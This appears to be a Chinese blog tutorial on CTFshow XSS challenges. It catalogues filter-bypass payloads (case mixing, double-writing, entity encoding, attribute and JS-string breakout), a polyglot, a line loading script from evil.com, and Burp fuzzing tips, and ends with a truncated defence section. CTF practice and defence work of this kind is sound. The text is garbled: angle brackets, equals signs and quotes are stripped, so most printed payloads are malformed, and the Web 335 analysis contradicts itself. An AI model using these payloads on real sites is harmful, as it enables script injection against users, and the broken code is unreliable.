1. 項目概述從CTFshow XSS靶場到實戰Payload庫最近在帶新人過CTFshow的Web入門系列特別是XSS跨站腳本攻擊相關的關卡發現很多朋友卡在了各種過濾規則上。這些關卡設計得很有意思它們不是簡單地讓你彈個alert(1)就完事而是模擬了真實環境中開發者可能部署的各種防御措施比如過濾關鍵字、編碼、長度限制等等。通關之后我習慣性地把用到的Payload和繞過思路整理了一下發現可以歸納為5類比較有代表性的寫法。這不僅僅是解題技巧理解了這些你在做滲透測試或者代碼審計時面對一個看似“固若金湯”的輸入點腦子里能瞬間蹦出好幾條試探的路徑。這篇文章我就把這5類Payload的構造思路、實戰應用場景以及背后的原理掰開揉碎了講清楚最后還會附上我在解題過程中實際可用的代碼片段方便你直接復制到瀏覽器的控制臺或者自己的測試環境里驗證。簡單來說XSS的核心在于讓瀏覽器把用戶輸入的數據當作代碼來執行。而防御的核心就是想盡辦法阻止這件事發生。我們的Payload就是要在各種“阻止”的縫隙中找到那條能讓代碼“溜進去”并執行的路。CTFshow的關卡就像一個個精心設計的迷宮通關的過程就是一次系統的繞過訓練。無論你是剛接觸安全的新手還是想鞏固XSS知識的老兵相信這套總結都能幫你把知識點串聯起來形成肌肉記憶。2. 核心繞過思路與Payload分類解析面對一個存在XSS漏洞的輸入點我們首先要做的是“偵察”判斷它采用了哪種或哪幾種過濾方式。CTFshow的關卡通常不會直接告訴你過濾規則需要你通過提交不同的測試字符串觀察返回結果來推斷。比如你提交scriptalert(1)/script沒反應可能被過濾了提交img src1 onerroralert(1)彈窗了說明script標簽被禁但事件處理器還能用。基于常見的過濾場景我總結的5類Payload繞過思路如下。2.1 第一類關鍵字過濾與混淆這是最常見的一類防御。開發者可能會用正則表達式或者簡單的字符串替換將script、alert、onerror、javascript:等明顯的關鍵字替換為空字符串或者進行轉義。繞過思路的核心在于“混淆”讓過濾器認不出原來的關鍵字但瀏覽器依然能正確解析。大小寫繞過有些過濾器是大小寫敏感的。ScRiPtalert(1)/ScRiPt可能就能繞過對全小寫script的檢測。雙寫繞過如果過濾方式是簡單地刪除一次匹配到的關鍵字那么雙寫就能繞過。例如過濾器刪除script那么scrscriptiptalert(1)/scrscriptipt在經過過濾后中間被刪除的script正好讓兩邊的殘肢重新組合成scriptalert(1)/script。插入無關字符在關鍵字中插入瀏覽器會忽略的字符。例如在HTML標簽名或屬性名中插入換行符/URL編碼為%0a或%0d。img%0asrc1%0aonerroralert(1)對于簡單的基于空格的字符串匹配過濾器可能無法識別onerror。利用編碼HTML實體編碼瀏覽器在解析HTML時會解碼實體。如果過濾器不過濾、;可以嘗試img src1 onerror#97;#108;#101;#114;#116;(1)alert的十進制HTML實體。Unicode編碼在JavaScript上下文中Unicode轉義序列\u0061\u006c\u0065\u0072\u0074同樣可以表示alert。前提是這些字符能進入JS的執行環境。注意編碼繞過高度依賴于過濾器的位置和瀏覽器的解碼順序。如果過濾器在服務器端對輸入進行解碼后再過濾那么你提交的編碼可能被還原成明文然后被過濾掉。最佳實踐是在HTML上下文中優先嘗試HTML實體在JavaScript字符串或事件處理器中優先嘗試Unicode或JS編碼。2.2 第二類特殊字符與標簽過濾這類過濾不僅針對關鍵字還會過濾或轉義特定的字符比如尖括號 、引號” ‘、括號( )或者直接禁用某些高危標簽如script、img、svg等。繞過思路的核心在于“尋找替代品”用未被過濾的字符或標簽實現相同功能。不使用尖括號的XSS如果和被過濾可以嘗試利用HTML屬性本身不閉合帶來的解析差異。例如在輸入點直接輸入” onmouseoveralert(1)注意開頭的空格和引號如果該輸入被放入一個已有的標簽屬性內如input value”USER_INPUT”那么最終會變成input value”” onmouseoveralert(1) “成功注入事件處理器。這通常需要結合上下文。使用非常規標簽或屬性標簽除了script、img還有很多標簽可以承載事件或執行代碼如svg、iframe、details、video、audio甚至body、input本身。事件處理器除了常見的onerror、onclick、onmouseover還有onload適用于body、iframe、svg、onfocus、onblur適用于表單元素、onanimationend等。無需事件的標簽svgscriptalert(1)/script/svgiframe srcdoc”scriptalert(1)/script”/iframe。即使過濾了on事件這些標簽依然能執行腳本。利用JavaScript偽協議在支持javascript:協議的屬性里如a href”javascript:alert(1)”。如果引號被過濾可以嘗試a hrefjavascript:alert(1)瀏覽器通常能容忍屬性值不加引號只要其中沒有空格。2.3 第三類長度限制與短Payload構造有些關卡會限制輸入的長度讓你無法提交完整的script標簽或復雜的事件處理器。繞過思路的核心在于“極簡”和“利用外部資源”。極簡事件Payload使用最短的事件和函數。img src1 onerroralert(1)已經比較短但還可以更短。svg/onloadalert(1)利用了SVG標簽和onload事件且標簽可以自閉合。甚至可以使用反引號代替括號在某些JS上下文中svg/onloadalert1。利用外部JS文件如果長度只夠你注入一個script標簽的起始部分你可以引用一個外部JS文件。例如Payload為script src//evil.com/x.js。這里的//表示使用當前頁面的協議http或https進一步節省了字符。你需要提前在evil.com上托管惡意腳本x.js內容就是alert(document.domain)之類的。DOM型XSS與片段標識符在DOM型XSS中有時可以利用URL的片段即#號后面的部分。例如頁面JS有eval(location.hash.substr(1))這樣的代碼。那么你只需要構造URLhttp://vuln.com/page.html#alert(1)。Payload長度幾乎可以忽略不計因為主要代碼在URL里。2.4 第四類基于上下文的精準注入XSS發生的“上下文”至關重要你的輸入最終被放在HTML的哪個位置是普通的HTML標簽之間、某個HTML屬性的值里、還是JavaScript代碼字符串內部不同上下文需要完全不同的繞過技巧。HTML文本上下文輸入直接插入到divUSER_INPUT/div這樣的地方。你需要閉合前面的標簽或者注入新標簽。例如如果頁面沒有過濾直接scriptalert(1)/script即可。如果過濾了尖括號可能就需要利用其他注入點或者嘗試HTML實體編碼在特定條件下被解碼。HTML屬性上下文輸入被放在標簽的屬性值里如input type”text” value”USER_INPUT”。你需要先閉合當前的屬性值和標簽然后添加新的事件處理器。Payload示例” onfocusalert(1) autofocus “。這里第一個引號閉合了value屬性然后添加了onfocus事件和autofocus屬性使元素自動獲得焦點從而觸發onfocus。最后的空格和引號是為了保持語法大致正確防止破壞頁面結構導致腳本不執行。如果引號被過濾可以嘗試onfocusalert(1) autofocus并期望原標簽的屬性值沒有用引號括住或者瀏覽器容錯能力強。JavaScript字符串上下文這是最需要技巧的一種。輸入被放在JS的字符串里如scriptvar name ‘USER_INPUT’; /script。你需要先跳出字符串然后執行代碼。Payload示例’; alert(1);//。單引號閉合前面的字符串分號結束前一條語句alert(1)是我們的代碼//注釋掉后面可能存在的原有字符如另一個單引號。更復雜的情況如果輸出點還在字符串內但經過了JSON.stringify或類似處理可能需要閉合字符串后利用JS語法如’;{alert(1)};’或者利用模板字符串、eval等特性。2.5 第五類組合技與鏈式利用實戰中單一的繞過技巧往往不夠用。關卡會設置多層過濾這就需要我們將多種技巧組合起來形成“組合技”。編碼關鍵字混淆例如過濾器同時過濾了script和alert。我們可以嘗試使用img標簽但onerror里的alert也被過濾了。這時可以用HTML實體編碼alertimg src1 onerror#97;#108;#101;#114;#116;(1)。利用瀏覽器解析差異瀏覽器的HTML解析器比我們想象的要“寬容”。例如scriptalert(1)/script缺少閉合的在某些瀏覽器中可能依然會被執行。或者在屬性中使用不合法的字符解析器可能會以某種方式“修復”它從而改變執行流程。鏈式觸發一個事件觸發另一個事件。例如先注入一個img標簽其onerror事件不是直接執行alert而是動態創建另一個script標簽并插入到DOM中由新插入的腳本執行最終操作。這可以用來繞過一些基于簡單模式匹配的WAFWeb應用防火墻。3. CTFshow經典關卡實戰Payload詳解下面我結合CTFshow Web入門中幾個有代表性的XSS關卡具體展示上述5類思路是如何應用的。我會提供題目特征、解題思路和最終可用的Payload代碼。3.1 Web 316基礎關鍵字過濾與大小寫繞過題目特征一個簡單的輸入框提交后內容會顯示在頁面上。題目提示過濾了script和img。解題思路這是最基礎的過濾。既然過濾了script和img我們嘗試使用其他標簽比如svg。同時過濾可能是大小寫敏感的可以嘗試大小寫混合。Payload構造與測試首先嘗試svg標簽svgscriptalert(1)/script/svg。如果script被過濾這個會失敗。嘗試svg自帶事件svg onloadalert(1)。這個Payload不包含script或img。如果onload也被關聯過濾可以嘗試大小寫SvG oNlOaDalert(1)。進一步如果alert也被過濾可以嘗試用其他函數如prompt(1)或confirm(1)或者用top[‘al’’ert’](1)這種字符串拼接的方式。實戰Payload代碼!-- 最可能成功的Payload -- svg onloadalert(1) !-- 或 -- SvG oNlOaDalert(1) !-- 如果alert被過濾嘗試 -- svg onloadconfirm(1) !-- 或者使用字符串拼接繞過對‘alert’的檢測 -- svg onloadtop[alert](1)將上述任意一行輸入到題目框內提交通常即可觸發彈窗獲取flag。3.2 Web 317雙寫繞過與正則缺陷題目特征輸入內容發現script、on、src等關鍵字被刪除了一次。解題思路明顯的雙寫繞過場景。服務器端的代碼可能是preg_replace(‘/script/i’, ”, $input)它只執行一次替換。我們只需要讓關鍵字在被刪除一次后剩下的部分能重新組合成完整的關鍵字。Payload構造過程目標注入scriptalert(1)/script。構造雙寫scrscriptiptalert(1)/scrscriptipt。服務器過濾過程查找script并刪除。在scrscriptipt中中間的script被刪除剩下script。在/scrscriptipt中中間的script被刪除剩下/script。最終瀏覽器收到scriptalert(1)/script成功執行。實戰Payload代碼scrscriptiptalert(1)/scrscriptipt對于on事件和src屬性同理!-- 注入帶on事件的img標簽原Payloadimg srcx onerroralert(1) -- img srsrccx ononerroralert(1) !-- 過濾后srcc中的src被刪剩下srcononerror中的on被刪剩下onerror --這個關卡清晰地展示了基于簡單字符串替換過濾的致命缺陷。3.3 Web 325HTML實體編碼與解碼時機題目特征用戶輸入的內容在輸出時尖括號 被轉義成了HTML實體lt;和gt;但其他字符如引號、括號似乎沒變。解題思路尖括號被轉義意味著我們無法直接插入新的HTML標簽。這時需要關注輸入點所在的上下文。如果輸入被放在一個HTML標簽的屬性值里例如input value”USER_INPUT”那么即使尖括號被轉義我們仍然可以通過閉合引號來逃逸屬性上下文注入新的事件處理器。但這里引號可能也被轉義我們需要測試。另一種思路是如果屬性值沒有用引號括住或者我們能用其他方式構造事件且事件處理器中的代碼如alert(1)沒有被過濾那么就有可能。更常見的場景是輸出點在一個JavaScript字符串里。例如scriptvar data “USER_INPUT”; /script。這時 被轉義成實體對我們沒有影響因為我們在JS字符串內部。我們需要閉合JS字符串然后執行代碼。但引號”可能也被轉義成了quot;。我們需要測試哪些字符被轉義了。假設測試發現只有 被轉義引號和括號正常。那么Payload可以構造為”; alert(1);//。注入后變成scriptvar data “”; alert(1);//”; /script。成功跳出字符串執行alert(1)并用//注釋掉后面多余的字符。實戰Payload代碼// 針對JS字符串上下文的Payload ; alert(1);// // 或者如果擔心分號問題也可以用 ;alert(1)//如果是在HTML屬性上下文且屬性值沒用引號或引號可用可以嘗試// 假設原標簽是 input valueUSER_INPUT onmouseoveralert(1) // 注入后變成 input value onmouseoveralert(1) // 注意開頭有個空格用于和value值分隔這個關卡的關鍵在于判斷上下文和測試具體的過濾/轉義規則。3.4 Web 335利用JavaScript偽協議與短Payload題目特征輸入長度被嚴格限制比如15個字符并且過濾了尖括號和空格。解題思路長度極短且不能使用標簽。這通常指向了利用現有HTML元素比如頁面上已經存在的a鏈接或者可以注入到href、action這類屬性中。javascript:偽協議是一個經典選擇它不需要尖括號且可以非常短。Payload構造基礎形式javascript:alert(1)。長度已經超過15javascript:alert(1)共18個字符。需要縮短。縮短技巧使用top或self引用全局對象alert是全局函數可以直接調用javascript:alert(1)已經是最短調用之一。能否更短可以使用反引號包裹數字在某些瀏覽器里alert1等效于alert(1)但javascript:alert1長度差不多。關鍵是要找到注入點。如果注入點本身就在一個a href””的引號內我們只需要填充href的值。那么Payload就是javascript:alert(1)。如果長度限制在15javascript:alert(1)是18字符不行。那就需要更短的函數比如prompt(1)也是18字符。confirm(1)是19字符。如果這些都不行考慮利用外部資源。Payload可以短到只有幾個字符用于觸發一個請求。例如img src# onerrorscreateElement(‘script’);s.src’//x’這太長了。另一種思路如果長度限制如此之嚴可能考察的是通過URL參數觸發的DOM型XSS。例如頁面JS中有eval(location.search.slice(1))那么你只需要訪問?alert(1)Payload長度就是?alert(1)共8個字符。實戰Payload代碼 對于長度限制在15字符左右的偽協議利用一個經典的短Payload是javascript:alert()但需要參數。如果允許彈窗空信息這個長度是18。如果關卡真的要求彈窗特定內容如1且長度卡死那么很可能考察點不是偽協議而是其他非常短的觸發方式比如img src1 onerroralert(1)這個長度是33遠超15。所以面對嚴格長度限制必須重新審視漏洞點和觸發方式。一個可能的短Payload是利用autofocus和onfocus事件結合已有的表單元素”autofocus onfocusalert(1)但這也超過15字符。因此Web 335更可能的解法是DOM型XSS短Payload。假設頁面代碼為script var data decodeURIComponent(location.hash.substr(1)); document.write(data); /script那么訪問http://靶機地址#svg onloadalert(1)Payload是svg onloadalert(1)共24字符。還是長。 訪問http://靶機地址#scriptalert(1)/script共24字符。如果長度限制在15一個可能的極簡Payload是引用一個極短域名的外部JSscript src//x.ss共20字符。還是超。所以我懷疑這個關卡的實際限制可能沒那么嚴格或者是利用了其他特性。一個著名的短Payload是script src//0瀏覽器會將//0解析為http://0/這是一個無效地址但標簽會被創建。這需要配合服務器端返回的JS內容。另一種是使用svg/onloadalert(1)共24字符。鑒于題目不確定性實戰中遇到長度限制應優先嘗試偽協議和DOM型XSS并測試最短的可用標簽事件組合。一個實測可用的短Payload案例來自其他類似靶場是svg/onloadalert(1)。如果svg和onload被過濾可以嘗試body onloadalert(1)但body標簽可能已存在。3.5 Web 78/79綜合過濾與編碼繞過題目特征這是一個系列關卡過濾規則逐漸增強。可能同時過濾了關鍵字、特殊字符并對輸入進行了編碼或轉義處理。解題思路需要采用“組合技”。首先進行fuzz測試提交一系列測試字符串如 ” ‘ ( ) script img onerror alert javascript:等觀察哪些字符或單詞被過濾、刪除、轉義。然后根據上下文選擇合適的編碼和混淆技巧。以Web 78為例假設過濾了script、on事件但img和alert可用直接img src1 onerroralert(1)會因為on被過濾而失敗。嘗試大小寫img src1 oNerroralert(1)可能失敗因為過濾器可能是/on/i不區分大小寫。嘗試雙寫img src1 ononerroralert(1)如果過濾器只刪一次on會成功。如果alert也被過濾嘗試HTML實體編碼img src1 onerror#97;#108;#101;#114;#116;(1)。如果還過濾了img則嘗試其他標簽svgscriptalert(1)/script/svg如果script被過濾則失敗svg onloadalert(1)如果onload被過濾則失敗body onloadalert(1)需要頁面沒有body標簽或者能插入到head之前iframe srcdoc”scriptalert(1)/script”iframe和srcdoc可能被過濾當常規標簽和事件都被過濾時需要考慮非常規屬性input autofocus onfocusalert(1)autofocus使元素自動聚焦觸發onfocusdetails open ontogglealert(1)open屬性使詳情框默認打開觸發ontoggle實戰Payload代碼綜合案例 假設經過fuzz發現過濾了script、on\w所有on事件、javascript:但img、svg標簽名和alert函數名不過濾。那么如何執行alert我們可以利用HTML標簽的某些屬性可以執行JavaScript的特性但非常罕見。更可行的是利用SVG標簽內部的特殊處理。一些SVG事件處理器名字不是以on開頭的不都是on開頭。但SVG允許在script標簽內寫代碼即使外層是SVG。如果script被過濾此路不通。另一種思路利用HTML實體編碼在屬性值中被解碼的特性。構造一個Payload使得經過過濾后瀏覽器解碼時產生可執行代碼。 例如輸入img src1 onerror#97;#108;#101;#114;#116;(1)如果過濾器在解碼前刪除onerror這個Payload會失效。但如果過濾器先解碼再過濾或者不過濾編碼后的形式它就可能存活。更高級的組合技使用iframe的srcdoc屬性該屬性值是一個完整的HTML文檔可以再次進行編碼。iframe srcdoclt;scriptgt;alert(1)lt;/scriptgt;這里script和/script被編碼為HTML實體。當瀏覽器解析srcdoc屬性時會將這些實體解碼從而在iframe內部生成一個script標簽。這可以繞過對尖括號的直接過濾。4. Payload構造工具與測試方法手動構造和測試Payload效率較低尤其是在面對復雜過濾時。掌握一些工具和方法能極大提升效率。4.1 瀏覽器開發者工具控制臺這是最直接、最快速的測試環境。你可以在當前頁面的控制臺里動態執行JavaScript測試Payload的有效性。模擬DOM插入document.body.innerHTML ‘img src1 onerrorconsole.log(“XSS”)’;觀察是否觸發onerror因為src1不存在。測試編碼解碼console.log(decodeURIComponent(‘%3Cscript%3E’));查看URL解碼結果。console.log(document.createElement(‘div’).innerHTML ‘#97;#108;#101;#114;#116;’);查看div的textContent屬性了解HTML實體解碼結果。動態修改屬性選中一個頁面元素在控制臺直接設置其屬性document.getElementById(‘someId’).onclick function() { alert(1); };4.2 使用在線平臺與瀏覽器擴展進行FuzzXSS Polyglot這是一個“通殺”多種上下文的超級Payload它被設計成在HTML、屬性、JS字符串等多種上下文中都能執行代碼。雖然很長但作為測試字符串非常有用可以快速發現未被充分過濾的上下文。jaVasCript:/*-/*/*\/*/*/**/(/* */oNcliCkalert() )//%0D%0A%0d%0a///stYle//titLe//teXtarEa//scRipt/--!\x3csVg/sVg/oNloAdalert()//\x3e你可以將這個字符串提交到輸入點觀察是否彈窗。如果彈窗說明存在嚴重過濾缺陷。瀏覽器擴展如XSS Striker、Retire.js等可以輔助檢測但手動測試和理解過程更為重要。Burp Suite Intruder對于需要系統測試大量Payload變種的情況可以使用Burp Suite的Intruder模塊。將輸入點標記為Payload位置加載一個包含各種XSS Payload的字典文件如fuzzdb或SecLists中的XSS字典然后發起攻擊觀察哪些Payload觸發了異常響應如響應長度變化、包含特定關鍵字等。4.3 搭建本地測試環境為了安全且自由地測試Payload最好搭建一個本地環境。簡單HTML文件創建一個test.html用不同的方式嵌入你的輸入。!DOCTYPE html html body div%%INPUT%%/div !-- 測試HTML上下文 -- input value%%INPUT%% !-- 測試屬性上下文 -- scriptvar x %%INPUT%%; /script !-- 測試JS字符串上下文 -- /body /html用Python的http.server模塊快速啟動一個本地服務器python3 -m http.server 8000然后在瀏覽器訪問http://localhost:8000/test.html并手動修改%%INPUT%%部分進行測試。使用Node.js模擬過濾寫一個簡單的Node.js腳本模擬服務端的過濾函數測試你的Payload經過過濾后是否仍然有效。function filterInput(input) { // 模擬過濾規則 let filtered input.replace(/script/gi, ); filtered filtered.replace(/on\w\s*/gi, ); // 可以添加更多規則... return filtered; } const payload scrscriptiptalert(1)/scrscriptipt; console.log(原始Payload:, payload); console.log(過濾后:, filterInput(payload)); console.log(是否包含script?, filterInput(payload).includes(script));5. 防御視角與Payload編寫啟示作為攻擊者我們研究繞過技巧作為開發者我們則應該從中吸取教訓構建更堅固的防御。從這5類Payload中我們可以總結出防御XSS的關鍵原則。5.1 輸入驗證與輸出編碼這是黃金法則。不要試圖通過黑名單過濾特定關鍵字來防御XSS因為黑名單永遠無法窮盡所有可能。輸入驗證在數據進入系統時根據其預期的類型如數字、郵箱、特定格式字符串進行嚴格驗證。拒絕所有不符合格式的輸入。輸出編碼在將數據輸出到不同上下文時使用對應的編碼函數。HTML上下文將 “ ‘等字符轉換為HTML實體lt;gt;amp;quot;#x27;。在PHP中可以用htmlspecialchars($string, ENT_QUOTES)在Python Jinja2中默認自動轉義在JavaScript前端可以使用textContent或innerText而非innerHTML或者使用類似DOMPurify的庫。HTML屬性上下文同上使用HTML實體編碼并且始終用引號單引號或雙引號包裹屬性值。JavaScript上下文將數據放入JS字符串時需要對其進行JavaScript字符串編碼。通常需要轉義反斜杠\、引號” ‘、換行符等。更好的做法是避免將用戶輸入直接拼接到JS代碼中而是使用JSON.stringify()將其序列化或者通過>